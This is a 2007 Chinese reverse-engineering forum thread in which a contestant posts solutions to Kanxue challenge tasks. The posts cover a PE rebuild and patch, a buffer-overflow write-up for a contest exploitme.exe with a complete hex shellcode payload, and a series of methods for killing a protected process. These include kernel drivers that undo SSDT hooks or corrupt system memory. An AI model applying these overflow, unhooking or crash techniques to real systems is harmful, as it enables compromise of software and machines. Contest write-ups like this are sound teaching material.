首页
社区
课程
招聘
[原创]纪念我的两个第一次
发表于: 2007-10-20 22:49 50553

[原创]纪念我的两个第一次

2007-10-20 22:49
50553
来晚了,比赛结果已经出来了,但还是发一下吧。

第一阶段第一题的注册机,见附件,并以此纪念我的两个第一次:

第一次使用windbg跟踪程序;

第一次写注册机。

截图如下:


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (29)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
大家都没吱一声的?
今天又是周末,顺便把一阶段第二题做了,这题没难度,就是有点繁琐。

截图如下:

上传的附件:
2007-10-28 08:52
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
过程一并贴在这里:

1.分析文件名,猜测_text应该为代码段,_data应该为数据段,_rdata应该为输入表段。
2.用16进制文件编辑器查看一下三个文件,_text内没有什么有意义的字符,_data内可见
  pediy.com,2007等字样,而_rdata内有很多win32api函数的名字,进一步证明了上述
  猜测。并且得到三个文件的长度分别为6000h,3000h,1000h,符合文件和内存对齐因子。
3.随便找一个可以运行在windows 2000/xp下的图形界面程序,用peditor分割它,得到一个
  pe头文件0.peheader。然后执行控制台命令copy /b 0.peheader+_text+_rdata+_data
   pediy.exe,得到合并后的文件pediy.exe,但是这个文件有着错误的pe头,下一步开始
  修复pe头。
4.用petools打开pediy.exe,pe标志以前的信息不需要处理,文件头部分区段数应改成3,
  我用的pe头正好为3,就不用改了。
5.可选头部分修改如下:
  代码大小改成6000h,入口点暂时设为1000h,数据基址改成8000h,镜像大小改为0b000h,
  校验和改为0。
6.区段信息因为我的pe头正好三个段,就不增减了,如果不是三个,需要增减。三个段按名称,
  虚拟大小和偏移,raw大小和偏移,特征值修改如下:.text,6000h,1000h,6000h,400h,
  60000020h;.rdata,1000h,7000h,1000h,6400h,40000040;.data,3000h,8000h,3000h,
  7400h,0c0000040h。
7.数据目录信息需要修改输入表项。用16进制编辑器打开_rdata文件,搜索dll字符串,发现
  有两 个user32.dll,这个dll常用,就选它了,第2个user32.dll夹在kernel32.dll和
  gdi32.dll之间,更像是输入表指向的字符串,它的偏移是88ah,搜索16进制的8ah,只在638h
  处发现一个值,看它后边,78h,00h,00h,猜测638h是iid结构的一部分,朝上20个字节,得
  到77ach,去掉段偏移,7ach,正是kernel32.dll。好了,现在我们找到了iid,并且证实了我
  们把_rdata放到7000h偏移处是正确的,同时也证实_text和_data位置正确。现在继续向上
  找20个字节,4e532331h,没什么意义,我们知道了iid的头部了,7618h。然后从638h向下
  找20个字节,79b9h,我们看9b8h处,gdi32.dll,再向下20个字节,00h,找到iid尾部了。
  我们知道iid共有4项,也就是50h个字节。现在输入表rva填7618h,大小填50h,数据目录表的
  其他项清0。保存一下。
8. 最后一步,找到程序入口点。od打开pediy.exe,在反汇编窗找函数GetVersion,再往上找,
   找到retn,retn下一条代码就是开始代码,地址为401527h,入口点填1527h,点确定保存,
   ok,程序可以运行了。

9.用vc编一个只包含Help->About菜单的单文档程序,用petools保存资源区段到磁盘,然后用
  petools在pediy.exe中增加一个区段,区段数据读入保存在磁盘上的资源数据。
10.参照原程序修复pediy.exe的资源表,然后因为只用到菜单资源,所以只修复菜单项的rva,
   这里用16进制编辑工具修改即可。exescope可以看到菜单id为128(80h),About id为32772
   (8004h)。
11.发现代码段最后raw5f80h(rva6b80h)之后有一部分空间,决定在这里添加代码和用到的数据,
   但输入函数中没有要用到的MessageBoxA,用lordpe增加一个输入函数MessageBoxA,看到
   ThunkRVA为D019h。
12.用ultraedit在raw5f81h处填上“看雪论坛.珠海金山2007逆向分析挑战赛0ahhttp://www.p
   ediy.com00h”(注意几个16进制字符),raw5fc0h处填上“pediy00h”两个字符串,然后
   raw6020h(rva6c20h)处添加代码。
13.在od中运行到RegisterClassA,然后执行到用户代码,向上看,就是填充wndclass的代码,
0040123B  |.  56            push    esi                                       
0040123C  |.  8945 C8       mov     dword ptr [ebp-38], eax                  
0040123F  |.  FF15 18704000 call    dword ptr [<&GDI32.GetStockObject>]      
00401245  |.  8945 CC       mov     dword ptr [ebp-34], eax
00401248      8D45 F4       lea     eax, dword ptr [ebp-C] ;注意
0040124B      8945 D0       mov     dword ptr [ebp-30], eax ;这两句
0040124E      8D45 B0       lea     eax, dword ptr [ebp-50]
00401251      BF A0804000   mov     edi, 004080A0                             
00401256  |.  50            push    eax                                       
00401257  |.  897D D4       mov     dword ptr [ebp-2C], edi                  
0040125A  |.  FF15 0C714000 call    dword ptr [<&USER32.RegisterClassA>]

上面标注的两句就是设置wndclass中菜单资源的代码,我们只要在[ebp-30]处填上菜单id 80h就
可以了。这里空间太小,我们跳到406c20h(rva6c20h)处添加,修改如下:
00401248     /E9 D3590000   jmp     00406C20
0040124D     |90            nop

......................................

00406C20   > \C745 D0 80000>mov     dword ptr [ebp-30], 80
00406C27   .^ E9 22A6FFFF   jmp     0040124E

保存文件,运行一下看看,菜单出来了!

13.最后一步,添加菜单的执行代码。运行pediy.exe,用spy++查到wndproc的地址4012d5h,od运行
到这个地址,发现如下代码:
004012D5  /.  55            push    ebp
004012D6  |.  8BEC          mov     ebp, esp
004012D8  |.  83EC 40       sub     esp, 40
004012DB  |.  8B45 0C       mov     eax, dword ptr [ebp+C]
004012DE  |.  48            dec     eax                                       
004012DF  |.  48            dec     eax
004012E0  |.  74 68         je      short 0040134A
004012E2  |.  83E8 03       sub     eax, 3
004012E5  |.  74 4D         je      short 00401334
004012E7  |.  83E8 0A       sub     eax, 0A
004012EA  |.  74 14         je      short 00401300
004012EC  |.  FF75 14       push    dword ptr [ebp+14]  ;在这里修改                     
004012EF  |.  FF75 10       push    dword ptr [ebp+10]                        
004012F2  |.  FF75 0C       push    dword ptr [ebp+C]                        
004012F5  |.  FF75 08       push    dword ptr [ebp+8]                        
004012F8  |.  FF15 F4704000 call    dword ptr [<&USER32.DefWindowProcA>]

很明显,只要在DefWindowProcA函数前面添加处理菜单的代码就可以了。空间又不够了,这次我
们跳到406c30h处添加代码,我们复制保存这两句:

004012EC  |.  FF75 14       push    dword ptr [ebp+14]                     
004012EF  |.  FF75 10       push    dword ptr [ebp+10]
     
然后在4012ech处改为:

004012EC     /E9 3F590000   jmp     00406C30
004012F1     |90            nop

然后406c30h处加上如下代码:

00406C30   > \2D 02010000   sub     eax, 102 ;是否WM_COMMAND(111h)
00406C35   .  74 0B         je      short 00406C42 ;是往下跳
00406C37   >  FF75 14       push    dword ptr [ebp+14]               
00406C3A   .  FF75 10       push    dword ptr [ebp+10];保存的两句添在这里
00406C3D   .^ E9 B0A6FFFF   jmp     004012F2          ;跳回去,继续缺省处理
00406C42   >  66:817D 10 04>cmp     word ptr [ebp+10], 8004 ;About的id         
00406C48   .^ 75 ED         jnz     short 00406C37 ;About菜单没有选中,缺省处理
00406C4A      6A 40         push    40
00406C4C      68 C06B4000   push    00406BC0  ;raw5fc0h                       
00406C51   .  68 816B4000   push    00406B81  ;raw5f81h                       
00406C56      FF75 08       push    dword ptr [ebp+8]
00406C59      FF15 19D04000 call    dword ptr [40d019];显示消息
00406C5F    ^ E9 EEA6FFFF   jmp     00401352 ;跳回缺省处理后面的代码继续

保存文件,运行,ok了。
2007-10-28 08:55
0
雪    币: 254
活跃值: (126)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
4
楼主继续继续
2007-10-28 11:40
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
5
看windbg
2007-10-31 12:48
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
嗯,又是周末,看到heXer大哥的跟贴,盛情难却,把第2阶段第1题也搞出来,下面
是截图:
上传的附件:
2007-11-2 21:05
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
第一次接触溢出式的程序,说一下过程:
1.od打开exploitme.exe,没有异常提示,估计没加壳,看了看引入函数表,不多,
  只有creatfilea,readfilea可以从外界输入数据,可见溢出代码是放在文件中的。
  看了一下这两个函数和getfilesize,virtualalloc的调用代码,没发现有什么可
  以导致溢出的漏洞,看来漏洞是在内存传送文件数据的时候出现的。
2.filemon监视了一下,发现点了对话框中的按钮才读文件,文件名test.txt。所以
  重点关注按钮处理子程序就可以了。
3.ida反汇编了一下,大体看了一下代码,就是打开文件,得到文件大小,关闭文件。
  开辟内存缓冲区,然后再次打开文件,读入数据,关闭文件。中间判断一下文件大
  小,必须大于8小于等于1000h。
4.然后40037e处有一个调用,接着就出现出错对话框,看来这个调用就是关键调用了。

.text:0040037C                 push    eax             ; eax为读入的字节数
.text:0040037D                 push    esi             ; esi为读入数据缓冲区的开始指针
.text:0040037E                 call    sub_400280      ; 关键调用
.text:0040037E
.text:00400383                 pop     ecx
.text:00400384                 pop     ecx
.text:00400384

.text:00400385                 push    edi             ; uType
.text:00400386                 push    offset Caption  ; "Try"
.text:0040038B                 push    offset Text     ; "Failed!"
.text:00400390                 push    edi             ; hWnd
.text:00400391                 call    MessageBoxA
  
  这个调用的两个参数如上所示,其中esi为读入数据缓冲区的开始地址。

4.下一步看看这个调用的内容:

.text:00400280 sub_400280      proc near               
.text:00400280
.text:00400280 var_2C          = dword ptr -2Ch ;程序开辟的局部缓冲区
.text:00400280 arg_0           = dword ptr  8
.text:00400280 arg_4           = dword ptr  0Ch
.text:00400280
.text:00400280                 push    ebp
.text:00400281                 mov     ebp, esp
.text:00400283                 sub     esp, 2Ch
.text:00400286                 and     byte ptr [ebp+var_2C], 0
.text:0040028A                 push    esi
.text:0040028B                 push    edi
.text:0040028C                 push    0Ah
.text:0040028E                 pop     ecx
.text:0040028F                 xor     eax, eax
.text:00400291                 lea     edi, [ebp+var_2C+1]
.text:00400294                 cmp     [ebp+arg_4], 0
.text:00400298                 rep stosd
.text:0040029A                 stosw
.text:0040029C                 stosb                   ; 以上程序段把局部变量空间全部清0
.text:0040029D                 jl      short loc_4002F0 ; return 0
.text:0040029D
.text:0040029F                 mov     esi, [ebp+arg_0]
.text:004002A2                 push    78CC02A8h ; <suspicious>
.text:004002A7                 push    69948F1Bh ; <suspicious>
.text:004002AC                 push    dword ptr [esi+4]
.text:004002AF                 push    dword ptr [esi]
.text:004002B1                 call    sub_4005C0       ;调用1
.text:004002B1
.text:004002B6                 push    5BE6FF82h ; <suspicious> ;注意这个数值
.text:004002BB                 push    0A5164785h
.text:004002C0                 push    edx
.text:004002C1                 push    eax
.text:004002C2                 call    sub_400540       ;调用2      
.text:004002C2
.text:004002C7                 push    4
.text:004002C9                 mov     ecx, esi
.text:004002CB                 pop     edi
.text:004002CB
.text:004002CC
.text:004002CC loc_4002CC:                             ; CODE XREF: sub_400280+57j
.text:004002CC                 xor     byte ptr [ecx], 1Ch
.text:004002CF                 mov     dl, [ecx]
.text:004002D1                 xor     [ecx+1], dl
.text:004002D4                 inc     ecx
.text:004002D5                 inc     ecx
.text:004002D6                 dec     edi
.text:004002D7                 jnz     short loc_4002CC ;这段代码对读入的数据头8个字节
                                                        ;做变换处理
.text:004002D7
.text:004002D9                 push    1Ah
.text:004002DB                 pop     ecx
.text:004002DC                 sub     ecx, eax        ;eax也必须为d
.text:004002DE                 imul    ecx, eax
.text:004002E1                 sub     ecx, 9Ch
.text:004002E7                 test    ecx, ecx        ; ecx必须为2c/4+2=d
.text:004002E9                 jle     short loc_4002F0
.text:004002E9
.text:004002EB                 lea     edi, [ebp+var_2C]
.text:004002EE                 rep movsd                ;重复移动双字
.text:004002EE
.text:004002F0
.text:004002F0 loc_4002F0:                             ; CODE XREF: sub_400280+1Dj
.text:004002F0                                         ; sub_400280+69j
.text:004002F0                 pop     edi
.text:004002F1                 xor     eax, eax
.text:004002F3                 pop     esi
.text:004002F4                 leave
.text:004002F5                 retn
.text:004002F5
.text:004002F5 sub_400280      endp

  这段程序开辟了一个2ch大小的局部缓冲区,然后接着两个调用,然后会对输入的数据
  头8个字节做变换处理,接着对eax变换,结果存入ecx,作为紧接着的双字移动命令的
  重复次数,这个移动命令的源地址正是读入数据的开始地址,而目的地址就是这段程序
  开辟的缓冲区,大小为2ch个字节。而eax一般就是后一个调用的返回值。而前一个调用
  的两个返回值eax和edx作为调用的一部分参数传入第二个调用。
    现在一切都明白了,只要使那个重复移动双字的重复次数ecx为2ch/4+2=dh,而文件的
  大小至少为2ch+8h,并且在2ch+4h处放我们希望的返回地址就可以做到溢出了。从这里
  可以知道文件的最小字节数为2c+8=34h。
5.从ecx必须为dh,得到第2个调用的返回值eax也必须为dh。而第2个调用的头两个参数
  又是第一个调用的返回值,第一个调用的头两个参数就是文件的头8个字节(两个双字),
  其他参数都是固定值,看来关键就是文件的头8个字节了。进去看了一下这两个调用,
  是一些变换过程,而且似乎不可逆。很难从最后的返回值eax=dh,得到第一个调用的头
  两个参数。看来只好蛮力猜测了。一般首先考虑最简单的情况,设文件的第一个双字为
  a,第二个双字为b,先来考虑a和b其中一个为0的情况。
6.我先设b=0,a从0不断增加到ffffffffh,每次递增1,写了一个循环来不断把a,b的值送
  给这两个调用,看看返回结果是不是dh,如果是,那我们就得到了文件开头的8个字节,
  就可以使程序溢出到我们希望的地址了。为了省事,我写的是一个控制台程序(程序见附
  件中的guess.exe),而且当猜中一个值,你可以选择继续猜测,因为可能的a值也许不止
  一个。我的机器是p4 3.0,很快猜完了所有的数值,得到两个a值,3d6365d6h和eff333b5h。
  你也可以设a=0,然后递增b试一下,我因为有两个结果了,就没费心去试。现在我们知道
  test.txt头8个字节的两个可能值了。
7.好了,我们可以使程序溢出到我们希望的地址了,但是这个地址是什么呢?有两个可能:一
  个是存读入数据的那段地址,一个这个调用中的那个2ch大小的缓冲区。这两段地址一个是
  virtualalloc开辟的,一个存在于程序的堆栈区,很难保证在所有32位系统下都是固定的值。
  但是仔细看一下,不管第一个地址具体为多少,其开头地址总是放在esi中,而第二个地址
  其实也可以从esp的值中计算出来,但是比较麻烦,因此优先考虑第一种。这样我们溢出到
  堆栈的地址中的第一条指令应该是jmp esi,反汇编这条指令,看看其16进制数字是什么?
  ffe6!呵呵,是不是很熟悉。看看上面那段程序,ida表示可疑的那三条指令。其中一条:

  .text:004002B6                 push    5BE6FF82h ; <suspicious>
  
  因为双字在内存中的存储方式是逆序,所以push后面的双字的字节按顺序应该是:82h,ffh,
  e6h,5bh。这条指令的开始地址是4002b6,push占一个字节,82h占一个字节,然后就是ffe6,
  这样我们的到了指令jmp esi的地址:4002b8。把这个地址放在test.txt中的2ch+4处,作
  为返回地址。
7.现在test.txt中写入2ch+8个字节的数据,头8个字节先用3d6365d6h,00000000h,2ch+4处填
  4002b8,注意字节顺序问题,文件中其它字节先随便填,做为一个好的习惯,都填上0。用od
  跟到读入的数据,看一下头8个字节的变换结果是什么指令,首先看到retf,又一个返回,这会
  使程序变大,而我们能在2ch+4个字节中放入的指令有限,当然也可以加大文件的长度,但是我
  们要求的是字节数最小化。改一下test.txt头4个字节为eff333b5h,重新用od跟,看到如下
  指令:

  003E0000    A9 9AEF001C     test    eax, 1C00EF9A
  003E0005    1C 1C           sbb     al, 1C
  003E0007    1C 00           sbb     al, 0
  
  这就是头8个字节加上一个字节0产生的指令,都是在处理eax,从上面的反汇编可以看出,随后
  的消息框函数没有参考eax的值,所以这段指令不产生任何后果,可以不用管了,这样文件头9个
  字节就定了。当然2ch+4处的4个字节也定下了。我们可以9个字节后面的空间填上我们自己的指
  令了。填什么呢?
8.我们可以自己写消息框指令弹出ok!消息,但是程序中有现成的弹出消息指令,而且函数的标题
  和内容都是固定地址,因此更简单的方法是修改原有消息框的标题和内容地址中的字符串,都改
  成ok!就可以了。看看这段指令:
  
00400385  |>  57                  push    edi                                 ; /Style
00400386  |.  68 68024000         push    00400268                            ; |Title = "Try"
0040038B  |.  68 60024000         push    00400260                            ; |Text = "Failed!"
00400390  |.  57                  push    edi                                 ; |hOwner
00400391  |.  FF15 4C024000       call    dword ptr [<&USER32.MessageBoxA>]   ; \MessageBoxA

  知道怎么改了吧。
9.还有一个问题,我们溢出到想要的地址必须越过子程序开始处存在堆栈中的ebp,也就是说,覆盖它
  了。这样导致子程序结束时弹出到ebp中的值不是原来的值,我们必须修正ebp回原来的值,否则因
  为堆栈页面混乱导致程序出错。ebp的值可以从调用子程序的那段程序中开辟的局部缓冲区大小,保
  存的寄存器个数,子程序的参数个数和返回时esp的值计算出来。这两段段程序如下:

.text:004002F6                 push    ebp
.text:004002F7                 mov     ebp, esp
.text:004002F9                 sub     esp, 10h
.text:004002FC                 push    esi
.text:004002FD                 push    edi

.text:0040037C                 push    eax             ; eax为读入的字节数
.text:0040037D                 push    esi             ; esi为读入数据缓冲区的开始指针
.text:0040037E                 call    sub_400280      ; 关键调用

  很明显,ebp=esp+20h。
10.我们自己的程序执行完,我们希望原来的程序接着执行,这样才可以弹出消息框,而且程序也不会
   死掉。所以test.txt最后一条指令应该跳回子程序返回后的地址:400383。就用jmp 400383!真的
   这么简单吗?不是的。这个指令是相对当前地址来寻址的,当前地址改变了,它就跳到不知什么地方
   去了,而当前地址是virtalalloc开辟的,随时可能改变。所以我们应该用寄存器寻址指令。我们已
   经知道eax中的值没用,所以就用eax来寻址:mov eax,400383 jmp eax。

11.我们开始填入test.txt9个字节之后的程序段,就在od中填,利用它的在线汇编功能:
   
  00B00009    8D6C24 20                 lea     ebp, dword ptr [esp+20]
  00B0000D    C705 68024000 6F6B2100    mov     dword ptr [400268], 216B6F ;00216b6f就
  00B00017    C705 60024000 6F6B2100    mov     dword ptr [400260], 216B6F ;是"ok!\0"
  00B00021    B8 83034000               mov     eax, 400383
  00B00026    FFE0                      jmp     eax

  这段代码共31个字节,用二进制复制的方式复制,然后用010editor打开test.txt,从第10个字节选
  31个字节,然后按shift+ctrl+v,把这段代码复制到test.txt中相关位置,保存文件。
  
  test.txt中的完整内容如下:
  
  B5 33 F3 EF 00 00 00 00 00 8D 6C 24 20 C7 05 68
  02 40 00 6F 6B 21 00 C7 05 60 02 40 00 6F 6B 21
  00 B8 83 03 40 00 FF E0 00 00 00 00 00 00 00 00
  B8 02 40 00

12.把test.txt放入存放exploitme的文件夹,运行程序,单击按钮,弹出我们希望的对话框,再单击确定
   按钮,返回正常界面。一切ok了!

   关于附件中的guess.exe,这里说几句,程序每试一千万个数,就显示一次数值,提示你没有死掉,正在
   寻找,这个数不是a值,找到真正的a值,它会振铃两次,显示a和b的值,然后提示:找到合适的a值......,
   如果你的机器比较慢,这个过程可能比较长,但不会长的过分。如果你没有耐心,直接关闭窗口就可以了。
2007-11-2 21:09
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
做完了题,看了看各位大大的帖子,很多人认为51个字节就可以了,但大家注意这一句
没有

.text:004002EE                 rep movsd

假如test.txt的大小只有51个字节,那么意味着这条指令将要把virtualalloc开辟的缓冲区
后面的一个字节压入堆栈,作为返回地址的一部分。虽然通常这个字节就是00,但无法保证必定如此,有可能有的win32系统这里不是00,或者正好所有缓冲区用完,下面接着的
字节一般不会是00。虽然这个可能性非常小,但还是有可能的,为了减少一个字节,牺牲
程序的稳定性完全是不必要的。所以个人认为还是52个字节为妥。
2007-11-2 21:53
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
中午没事,看了看第2阶段第3题,先写了个最简单的结束程序。
实现方法1:
用findwindow找到窗口,然后用sendmessage发送WM_CLOSE消息结束程序。
上传的附件:
2007-11-3 12:22
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
实现方法2:
用exitwindows注销用户,crackmeapp自然就结束了。

类似的实现方法还有用exitwindowsex,initiatesystemshutdown等函数关机 ,重启动,都可以结束crackmeapp。

不知道算不算独立的方法?
上传的附件:
2007-11-3 13:39
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
还是发一下吧,反正写起来也不费事。

实现方法3:
用exitwindowsex注销用户,crackmeapp结束。
上传的附件:
2007-11-3 17:58
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
实现方法4:
用exitwindowsex关机,crackmeapp结束。
上传的附件:
2007-11-3 17:59
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
实现方法5:
用exitwindowsex重启动,crackmeapp结束。
上传的附件:
2007-11-3 18:01
0
雪    币: 2943
活跃值: (1788)
能力值: ( LV9,RANK:850 )
在线值:
发帖
回帖
粉丝
14
看起来,不把你顶成年度热贴是不行了,顶,顶,顶
2007-11-3 18:10
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
呵呵,谢谢wofan[OCN]大哥,只是没事想自我测试一下吧。

继续发,实现方法6:
用initiatesystemshutdown关机,crackmeapp结束。
上传的附件:
2007-11-3 19:04
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
实现方法7;
用initiatesystemshutdown重启动,crackmeapp结束。
上传的附件:
2007-11-3 19:10
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
论坛好慢,都快不能发帖了。

实现方法8:
用intiatesystemshutdownex关机,crackmeapp结束。

这个函数vc6居然不支持,所以这个方法和下一个只好在vs2003中解决了。
上传的附件:
2007-11-3 19:13
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
实现方法9:
用intiatesystemshutdownex重启动,crackmeapp结束。

呵呵,其实这道题明显提示的一个地方就是考虑驱动,我就不再发关机,重启动之类的程序了,明显有凑字数的嫌疑。
上传的附件:
2007-11-3 19:20
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
本来对驱动一窍不通,周末现学现卖,写了个小驱动干掉creakemeapp的驱动保护,现在发上来吧。

实现方法10:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x19b0处查到原来的
函数地址,回填。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,
controlservice,deleteservice,closeservicehandle,closeservicehandle停止它。然后用
createtoolhelp32snapshot,process32first,process32next,openprocess得到crakemeapp的进程句柄,然后
terminateprocess关闭它,最后关闭它开启的驱动,OK了。
上传的附件:
2007-11-11 13:56
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
补充一下,上面的驱动是在ddk2003中的xp ddk下编译成功的,应用层是在vs.net 2003中编译的,vc6不支持其中的一个常量,下面同,不再说明。
2007-11-11 14:18
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
实现方法11:
写一个驱动,在driverunload里面对系统内存乱写。然后写一个应用程序,开始驱动,停止驱动,干掉windows,
creakemeapp结束。
上传的附件:
2007-11-11 18:40
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
实现方法12:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x19b0处查到原来的
函数地址,回填。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,
controlservice,deleteservice,closeservicehandle,closeservicehandle停止它。然后用
createtoolhelp32snapshot,process32first,process32next,openprocess得到crakemeapp的进程句柄,然后
virtualprotectex使它可写,接着用writeProcessMemory乱写,干掉它,最后关闭它开启的驱动,OK了。
上传的附件:
2007-11-11 19:10
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
实现方法13:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x19b0处查到原来的
函数地址,回填。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,
controlservice,deleteservice,closeservicehandle,closeservicehandle停止它。然后用
createtoolhelp32snapshot,process32first,process32next得到crakemeapp的进程id,然后用debugactiveprocess
附加到它上面,接着等waitfordebugevent返回,退出,OK了。
上传的附件:
2007-11-11 20:21
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
实现方法14:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,从这个地址的偏移0x110处查到creakeme
中还原服务表的那段代码,然后直接调用它,让它自己还原服务表。接着在应用层程序中用openscmanager,
createservice,startservice开始我的驱动,controlservice,deleteservice,closeservicehandle,
closeservicehandle停止它。然后用createtoolhelp32snapshot,process32first,process32next,openprocess
得到crakemeapp的进程句柄,然后terminateprocess关闭它,最后关闭它开启的驱动,OK了。
上传的附件:
2007-11-12 12:02
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
实现方法15:
写一个最小的驱动,在它的driverunload过程中从zwopenprocess偏移1个字节处得到ntopenprocess的索引,
然后从keservicedescriptortable中得到crakeme hook的函数地址,在这个地址的偏移0x8a处写上eb 02(方
法1)或者90 90 90 90(方法2)使驱动程序即使判断出在取crakemeapp的句柄也不跳过原来的ntopenprocess
函数。接着在应用层程序中用openscmanager,createservice,startservice开始我的驱动,controlservice,
deleteservice,closeservicehandle,closeservicehandle停止它。然后用createtoolhelp32snapshot,
process32first,process32next,openprocess得到crakemeapp的进程句柄,然后terminateprocess关闭它,
最后关闭它开启的驱动,OK了。
上传的附件:
2007-11-12 19:44
0
游客
登录 | 注册 方可回帖
返回
//